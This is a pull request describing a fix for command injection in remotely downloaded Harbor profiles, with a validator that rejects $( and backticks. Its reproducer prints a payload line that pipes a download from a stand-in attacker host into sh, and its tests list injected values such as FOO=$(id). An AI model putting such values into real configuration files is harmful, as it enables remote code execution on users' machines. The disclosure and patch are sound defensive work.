fix(profile): validate remotely downloaded profiles to prevent command injection (CWE-78)

[sebastiondev]

Summary

Profiles downloaded by harbor profile set <url> are installed as the active .env after only minimal validation (presence of = or #). Several Harbor code paths later expand profile values through shell evaluation (e.g. eval echo "$(env_manager get cli.path)" and similar lookups in harbor.sh around lines 247, 1003, 1088, and 2659–2662). A profile value containing $(...) or backticks is therefore interpreted as a shell command on the next Harbor invocation that consumes the key — yielding arbitrary command execution in the user's shell context.

• Type: Command Injection (CWE-78) via untrusted configuration content
• Affected file/function: harbor.sh → download_profile() (no value-content validation prior to install)
• Severity: High — RCE on the host, triggered by a routine "import a profile" action
• Data flow: attacker-hosted URL → download_profile → written to profiles/<name>.env → activated → env_manager get <key> → re-parsed by eval/command substitution at consumer site → shell executes attacker payload

Reproducer (conceptual)

A remote profile containing:

HARBOR_CLI_PATH=$(curl -s http://attacker/x | sh)

is accepted by the current download_profile (the line has =, no #), saved as the active config, and executed the next time a Harbor command expands that key through eval.

Fix

Add validate_profile_content() and call it from download_profile() after a successful download. The validator:

1. Skips blank lines and comments.
2. Strips an optional leading export .
3. Requires KEY=VALUE shape and a plain-identifier key (^[A-Za-z_][A-Za-z0-9_]*$).
4. Rejects any value containing $( or a backtick — the two constructs that cause shell command execution when the value is later interpolated through eval or unquoted command substitution.

If validation fails, the downloaded file is removed and the install is aborted with a clear error. On success, two warnings are printed so the user is reminded that a remote profile was just installed and how to inspect it.

Locally authored profiles (harbor profile add) are unaffected — only the remote-download path is gated.

Diff is +67 / -0 in harbor.sh, no other files touched.

Testing

• Profiles containing FOO=$(id), backtick-wrapped id, and FOO="prefix $(id) suffix" are now rejected and the temporary file is removed.
• Profiles with invalid keys (e.g. 1FOO=bar, FOO BAR=baz) are rejected.
• Comments, blank lines, and export KEY=value continue to parse.
• A clean default.env-style profile passes validation unchanged.
• bash -n harbor.sh parses cleanly; existing harbor profile set semantics (filename derivation, success message, return codes) are preserved when content is safe.

Security analysis

The vulnerability is exploitable end-to-end: the eval/command-substitution sinks that consume env_manager get output already exist in harbor.sh, the download path stores attacker-controlled bytes verbatim, and there is no host/scheme allowlist on the URL. The only precondition is that the user runs harbor profile set <attacker_url> — a documented, user-facing operation that users reasonably treat as importing configuration, not code. The fix neutralises the dominant payload shape ($(...) and backticks) before content ever lands on disk, and the added warning helps users notice unexpected remote installs.

Known limits worth flagging for reviewers:

• Plain ${VAR} parameter expansion is intentionally still allowed; it can read process env but cannot execute commands.
• ANSI-C quoting like $'\x24(' could in theory survive the substring check and re-introduce $( after a later eval re-parse. This is a narrower, value-shape-dependent edge case; a follow-up could additionally reject $' in values, but that risks rejecting legitimate strings. We chose the conservative fix that addresses the realistic attack and leaves room for a stricter pass later.

Adversarial review

Before submitting we tried to disprove this. We checked whether the precondition (running harbor profile set <url>) already implies code execution by the attacker — it doesn't: the documented behaviour of that command is "download a config file", not "run a script", and Harbor advertises profiles as switchable env files. We also checked whether any existing sanitiser, sandbox, or quoting in the consumer sites would neutralise $(...) — they don't, because the values are passed through eval/unquoted command substitution by design. So the gap is real and the patch closes the realistic exploitation path.

cc @lewiswigmore

[sebastiondev]

Thanks for reviewing. @lewiswigmore